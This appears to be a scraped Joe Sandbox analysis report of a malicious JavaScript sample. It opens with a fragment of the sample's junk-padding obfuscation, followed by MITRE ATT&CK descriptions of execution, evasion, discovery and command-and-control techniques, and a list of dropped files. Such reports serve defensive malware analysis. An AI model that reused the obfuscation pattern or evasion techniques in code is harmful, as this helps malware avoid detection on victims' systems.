1445	zomtxqsq = "w";
1446	zomtxqsq = "y";
1447	zomtxqsq = "G";
1448	zomtxqsq = "t";
1449	zomtxqsq = "e";
1450	zomtxqsq = "W";
1451	zomtxqsq = "m";
1452	zomtxqsq = "y";
1453	zomtxqsq = "N";
1454	zomtxqsq = "X";
1455	zomtxqsq = "k";
1456	zomtxqsq = "W";
1457	zomtxqsq = "k";
1458	zomtxqsq = "r";
1459	zomtxqsq = "p";
1460	zomtxqsq = "b";
1461	zomtxqsq = "e";
1462	zomtxqsq = "f";
1463	zomtxqsq = "s";
1464	zomtxqsq = "g";
1465	zomtxqsq = "Q";
1466	zomtxqsq = "P";
1467	zomtxqsq = "b";
1468	zomtxqsq = "M";
1469	zomtxqsq = "h";
1470	zomtxqsq = "z";
1471	zomtxqsq = "m";
1472	zomtxqsq = "a";
1473	rvdga = "L";
1474	rvdga = "d";
1475	rvdga = "m";
1476	rvdga = "Z";
1477	rvdga = "p";
1478	rvdga = "A";
1479	rvdga = "P";
1480	rvdga = "h";
1481	rvdga = "h";
1482	rvdga = "z";
1483	rvdga = "a";
1484	rvdga = "j";
1485	rvdga = "t";
1486	rvdga = "H";
1487	rvdga = "s";
1488	rvdga = "F";
1489	rvdga = "V";
1490	rvdga = "i";
1491	rvdga = "q";
1492	rvdga = "U";
1493	rvdga = "T";
1494	rvdga = "n";
1495	rvdga = "r";
1496	rvdga = "R";
1497	rvdga = "U";
1498	lpgshf = "K";
1499	lpgshf = "b";
1500	lpgshf = "R";
1501	lpgshf = "H";
1502	lpgshf = "z";
1503	lpgshf = "W";
1504	lpgshf = "u";
1505	lpgshf = "o";
1506	lpgshf = "F";
1507	lpgshf = "A";
1508	lpgshf = "u";
1509	lpgshf = "W";
1510	lpgshf = "B";
1511	lpgshf = "Z";
1512	lpgshf = "L";
1513	lpgshf = "g";
1514	lpgshf = "C";
1515	lpgshf = "q";
1516	lpgshf = "L";
1517	lpgshf = "s";
1518	nxcwe = "k";
1519	nxcwe = "w";
1520	pgiemmeuz ( );	pgiemmeuz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 133313712272908537.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a0588009-5b9f-449c-a356-335bd3e7f5d1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7696

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
133313712272908537.js